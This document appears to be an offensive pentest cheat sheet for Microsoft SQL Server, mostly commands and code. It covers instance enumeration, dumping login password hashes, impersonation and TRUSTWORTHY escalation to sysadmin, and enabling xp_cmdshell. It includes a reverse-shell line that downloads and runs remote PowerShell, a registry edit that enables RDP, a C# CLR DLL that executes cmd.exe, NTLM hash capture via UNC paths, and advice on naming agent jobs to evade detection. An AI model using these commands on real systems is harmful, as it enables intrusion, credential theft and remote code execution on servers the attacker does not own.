SPN Scanning: Lists SPNs that begin with MSSQL. Not necessarily accessible.
#As an un-authenticated user - Port Scanning Techniques:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
sudo nmap -sU --script=ms-sql-info <IP>
Invoke-Portscan -StartAddress <IP-Range1> -EndAddress <IP-range2> -ScanPort -Verbose
msf> use auxiliary/scanner/mssql/mssql_ping
#PowerUpSQL
Get-SQLInstanceScanUDP -Computername <IP>
#Azure Environments
DNS Dictionary attack against URLs with the format x.databases.windows.net
OSINT for connection strings, config files on public repositories.
#As a Domain user:
#All SQL Instances in the Domain
Get-SQLInstanceDomain
sqlcmd /L
#Check accessibility as current user
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
#Check for Read Privileges
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
#As a Local user
Get-Service -Name MSSQL*
Get-SQLInstanceLocal | Get-SQLConnectionTest -Verbose
#Using .NET [Uses a UDP Broadcast on Port 1433]
[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()
#Extract from registry
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server'
#Extract all logins from DB. Note this will show only a subset of logins.
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'
SELECT name FROM sys.syslogins
SELECT name from sys.server_principals
#List all DB users
select name as username from sys.database_principals
#List all DB users for current DB
SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE'
#Blind SQL Server Login & Domain A/c enumeration using suser_name()
#suser_name() returns the principal name for a given principal ID. eg: SELECT SUSER_NAME(2)
Get-SQLFuzzServerLogin -Instance <Computer\Instance>
Get-SQLFuzzDomainAccount -Instance <Computer\Instance>
#Get Domain Group Members through SQL Server Queries
SELECT DEFAULT_DOMAIN() as mydomain #Get Domain Name
#Metasploit
use admin/mssql/mssql_sql
set action "select @@version"
Invoke-Sqlcmd -Query "<Query"> -ServerInstance <Instance>
#PowerUpSQL
Get-SQLQuery -Query "<Query>" -Instance <Instance>
#List all databases
SELECT name FROM master..sysdatabases
#Current database
SELECT db_name()
#List tables from current DB
use <DB name>;SELECT * FROM INFORMATION_SCHEMA.TABLES;
#List content from a table
use <DBname>;select * from dbo.<table>
#List DB users and their role
select rp.name as database_role, mp.name as database_user from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
#Current Server Login Name
SELECT SYSTEM_USER
#Current Database User
SELECT user
#Enumerate privileges
SELECT IS_SRVROLEMEMBER('sysadmin')
#Effective Permissions for the server
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
#Effective Permissions for the database
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
#Active user token
SELECT * FROM sys.user_token
#Active login token
SELECT * FROM sys.login_token
Extracting Passwords
#SQL Login Password Hashes
Get-SQLServerPasswordHash -Verbose -Instance <Instance>
#SA user's hash
SELECT sys.fn_varbintohexstr(password_hash) FROM sys.sql_logins Where name = 'username'
select name,password_hash from sys.sql_logins where name='sa'
select password_hash from sys.sql_logins where name in ('sa')
#VarCHAR convert
Select CONVERT (varchar(514), (LOGINPROPERTY('sa', 'PasswordHash') ), 1)
Automated Audit
#Automted Enum - Current Privs
Invoke-SQLDumpInfo -Verbose -Instance '<Instance>'
#Check for common high impact vulnerabilities and weak configurations using the current login’s privileges.
Invoke-SQLAudit -Verbose -Instance '<Instance>'
Impersonation
EXECUTE AS statement allows you to switch the execution context of a statement by impersonating another login or database user.
Execution context is reverted to the original caller only after execution of the procedure or when a REVERT statement is issued.
This permission is implied for sysadmin for all databases, and db_owner role members in databases that they own.
Always check for impersonation chains. For example, User A can impersonate User B. User B can impersonate 'sa'.
When you run xp_cmdshell while impersonating a user all of the commands are still executed as the SQL Server service account, NOT the SQL Server login or impersonated domain user.
If you have the rights to impersonate a db_owner you may be able to escalate to a syadmin leveraging the Trustworthy misconfiguration.
#Find SQL Server logins which can be impersonated in the current database
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
#Impersonate DB logins. Get a list of logins
SELECT * FROM master.sys.sysusers WHERE islogin = 1
#Impersonate the server level permissions of a login.
EXECUTE AS LOGIN = 'loginName';
#Impersonate the database level permissions of a specific user in a DB.
EXECUTE AS USER = 'userName';
REVERT
#Current SQL Login user
SELECT SYSTEM_USER
#Original SQL Login user
SELECT ORIGINAL_LOGIN()
#Check for Sysadmin role
SELECT IS_SRVROLEMEMBER('sysadmin')
#PowerUpSQL. [Does not work for chained impersonations]
Invoke-SQLAuditPrivImpersonateLogin -Username sqluser -Password Sql@123 -Instance <Instancename> -Verbose
#Powershell
#https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .\Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
#Metasploit
mssql_escalate_executeas
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
Trustworthy Database
Workflow
The “sa” account is the database owner (DBO) of the “target” database.
With db_owner role [Admin privileges in the database] we can create a stored procedure that can EXECUTE AS OWNER
Executed stored procedure adds the user to the sys admin role!
Theory
The database property (is_trustworthy_on)is used to indicate whether a SQL Server instance trusts a database and its contents. The property is turned off by default as a security measure. Only a sysadmin can set a database to be TRUSTWORTHY.
When TRUSTWORTHY is off, impersonated users (by using EXECUTE AS) will only have database-scope permissions but when TRUSTWORTHY is turned on impersonated users can perform actions with server level permissions. In a nutshell that means the trusted databases can access external resources like network shares, email functions, and objects in other databases.
This isn’t always bad, but when sysadmins create trusted databases and don’t change the owner to a lower privileged user the risks start to become noticeable.
This allows writing procedures that can execute code which uses server level permission. If the TRUSTWORTHY setting is set to ON, and if a sysadmin DB role (not necessarily sa) is owner of the database, it is possible for auser with db_owner to elevate privileges to sysadmin.
#Enumerate TRUSTWORTHY database
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
#Set as TRUSTED
ALTER DATABASE <DB-name> SET TRUSTWORTHY ON
#Look for db_owner role within a DB.
use <database>
SELECT DP1.name AS DatabaseRoleName,
isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R' ORDER BY DP1.name;
#Create a stored procedure to add User1 to sysadmin role
USE <DB-Name>
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'User1','sysadmin'
GO
USE <DB-Name>
EXEC sp_elevate_me
SELECT is_srvrolemember('sysadmin')
#View stored procedures
USE <Stored-Procedure>;
GO
EXEC sp_helptext '<Stored-procedure>';
#Delete Stored Procedure
DROP PROCEDURE <stored procedure name>;
#HeidiSQL
use <DATABASE>;
EXECUTE AS USER = 'dbo'
SELECT system_user
SELECT IS_SRVROLEMEMBER('sysadmin')
#PowerUpSQL
Invoke-SQLAuditPrivTrustworthy -Instance ops-sqlsrvone -Verbose
#List owner of the Database:
SELECT suser_sname(owner_sid) FROM sys.databases where name = '<DB_NAME>'
OS Command Execution
With sysadmin privileges on a SQL Server, it is possible to execute OS level commands on the server as:
SQL Server service account in almost all cases when running as:
Local user, local admin, SYSTEM, Network service, Local managed service account.
Domain user, domain admin, domain managed service account.
Agent service account for agent jobs.
Built-in extended stored procedure xp_cmdshell
Well known and typically disabled on a production system.
Monitored by Blue teams.
Enabling xp_cmdshell
Requires sysadmin privileges:
#PowerUpSQL
Invoke-SQLOSCmdExec -Instance <Instance-name> -Command whoami
#Enable on all SQL servers
Get-SQLInstanceDomain | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 5
#SQLServer Powershell Module
Invoke-SQLCmd -ServerInstance <Instance> -Query "exec master..xp_cmdshell 'whoami'"
msf> use admin/mssql/mssql_exec
#Uploads and execute a payload
msf> use exploit/windows/mssql/mssql_payload
Manual Method
EXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1
reconfigure
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go
#Using Invoke-SQLCmd
Invoke-SQLCmd -ServerInstance UFC-DBPROD.us.funcorp.local -Query ""<Add the below queries here>"
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Enable xp_cmdshell via SQL Links if RPCout is enabled
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')
#If xp_cmdshell is uninstalled
sp_addextendedproc 'xp_cmdshell','xplog70.dll
EXEC master..xp_cmdshell 'whoami'
EXEC xp_cmdshell 'whoami'
#Reverse shell
msf exploit(multi/script/web_delivery) > set target 3
msf auxiliary(admin/mssql/mssql_exec) > set CMD "Paste shell text here"
EXEC xp_cmdshell 'echo IEX(iwr <URL.ps1> -UseBasicParsing) | powershell -noprofile'
#Enable RDP through SQLServer
xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
#Nishang
Execute-Command-MSSQL -ComputerName opssqlsrvone.OffensivePS.com -UserName sa -Password Password1
#PowerUpSQL
Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-mssql.offensiveps.com –Command whoami
#Run query across all nodes
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'"
#Concise output
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft
Database Links
A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources.
SQL Server links can be configured to work in two ways. Using the current user A/c or by using hard-coded credentials. If in the case of hard-coded credentials, members of the public role are able to query linked DBs using OpenQuery.
In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures.
Database links work even across forest trusts.
If RPCout is enabled (disabled by default), xp_cmdshell can be enabled.
UNC paths are used to access remote file servers under the context of the SQL Server service A/c.
The stored procedures xp_dirtree and xp_fileexist accept file paths. If we can point these to our Capture Server, we can extract the Service A/c's password hash and crack/relay it.
Hence the public role has direct access to the SQL Server service account's NetNTLM password hash, by default.
.NET DLL (or group of DLLs) that can be imported into SQL Server. Once imported, the DLL methods can be linked to stored procedures and executed via TSQL.
Loads a Dot Net assembly directly into the memory of a SQL Server, without touching the disk.
Pre-requisites:
Must have the sysadmin privilege in order to enable CLR stored procedures.
The database upon which the technique is executed must have the TRUSTWORTHY property set the TRUE. The built-in database “msdb” has this set by default, and thus is used by the cmdlets.
Configure the SQL server to meet minimum requirements.
Create Assembly from file or hexadecimal string.
Assembly is stored in a SQL server table.
Create Procedure that maps to CLR methods.
Run the procedure.
SeeCLRly is a PowerShell module that consists of the following cmdlets:
New-CLRProcedure – This cmdlet enables CLR stored procedures on the SQL Server, reconfigures it, loads the Dot Net assembly into memory, then creates a stored procedure from the loaded assembly.
Invoke-CmdExec – This cmdlet passes a specified command to the previously created stored procedure, where it is then executed.
Make a Custom CLR DLL
#Save as cmd_exec.cs
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
#Get Compiler location [csc.exe]
Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname
#Compile .css to .dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Users\labuser\Desktop\cmd_exec.cs
#Register your DLL and link it to a stored procedure so the cmd_exec method can be executed via TSQL.
#Select the msdb database
use msdb
#Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
#Enable CLR on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
#Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
#Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
#Execute commands via the “cmd_exec” stored procedure in the “msdb” DB.
cmd_exec 'whoami'
#Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
Convert CLR DLL into a Hexadecimal String and Import It [Does not touch disk]
You don’t have to reference a physical DLL when importing CLR assemblies into SQL Server. “CREATE ASSEMBLY” will also accept a hexadecimal string representation of a CLR DLL file.
Create a CLR DLL on Attacker machine. Save to c:\temp\cmd_exec.dll
Save below code as script.ps1
Execute below code in powershell: .\script.ps1
Converts .dll into hexadecimal string.
c:\temp\cmd_exec.txt file should contain the TSQL commands.
Execute on target to get code execution : cmd_exec 'whoami'
List Existing CLR Assemblies and CLR Stored Procedures
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
Export a CLR Assembly that Exists in SQL Server to a DLL
Enumerate for API keys, server references, credentials, etc.
Can be used as a backdoor technique if stored procedure can be modified and stored on the server.
Windows service that executes scheduled tasks or jobs.
The agent jobs can be scheduled, and run under the context of the MSSQL Server Agent service. However, using agent proxy capabilities, the jobs can be run with different credentials as well.
Pre-requisites:
MSSQL Server Agent service needs to be running.
Requires sysadmin role by default.
Non-sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole fixed database roles in the msdb database can also be used.
Subsystems • Interesting subsystems (job types): – Microsoft ActiveX Script (VBScript and Jscript) – CmdExec – PowerShell – SSIS (SQL Server Integrated Services)
List all jobs
Enumerate job names, and create similar names to avoid being detected.
SELECT
job.job_id, notify_level_email, name, enabled,
description, step_name, command, server, database_name
FROM
msdb.dbo.sysjobs job
INNER JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id
#PowerUpSQL
Get-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password Pass@123 -Verbose
Creating a Job
Start the SQL Server Agent service (xp_startservice)
OS Commands executed inside SQL Server run in the context of the SQL Server service A/c
SQL Server service accounts have sysadmin privileges by default.
Organizations usually utilize a single domain account to run many SQL Servers.
If we compromise a single SQL Service account, we will also have compromised all SQL servers using that shared A/c. This means sysadmin access to those databases and possibly administrative access to the underlying OS since SQL services usually run with local administrator privileges.
